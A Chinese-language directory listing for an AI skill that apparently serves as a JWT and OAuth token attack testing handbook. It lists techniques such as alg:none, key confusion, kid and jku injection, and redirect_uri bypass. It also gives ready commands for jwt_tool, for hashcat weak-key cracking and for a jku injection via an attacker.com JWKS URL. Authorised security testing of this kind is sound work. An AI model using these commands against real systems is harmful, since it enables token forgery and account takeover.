SuperAPI AI 工具集

jwt-oauth-token-attacks

编程与开发

查看项目

更新于 10-15 21:53

技能介绍

用途:面向现代 Web 应用的认证令牌攻击测试手册,聚焦 JWT 密码学攻击与 OAuth 2.0 流程滥用,适合安全测试与审计场景。

主要能力:JWT 方面覆盖 alg:none、RS256→HS256 密钥混淆、弱密钥爆破、kid 注入(SQL 注入与路径遍历)、jku/x5u 头注入;OAuth 方面覆盖 state 缺失导致的 CSRF、redirect_uri 绕过、隐式流令牌窃取、scope 提权、PKCE 绕过,以及通过 Referer 与服务器日志的令牌泄露。

必要用法:解码 JWT 各部分可用 echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d;alg:none 可用 python3 jwt_tool.py JWT_TOKEN -X a;RS256→HS256 混淆用 python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem;弱密钥爆破用 hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt 或 python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt;jku 注入用 python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json。

适用场景:Web 应用令牌信任校验、签名算法与密钥处理、声明滥用、Bearer 流程、OAuth 账号绑定与重定向校验的测试。

限制:资料未提供具体平台、收费、价格或效果信息;所有测试应在获得授权的环境中进行。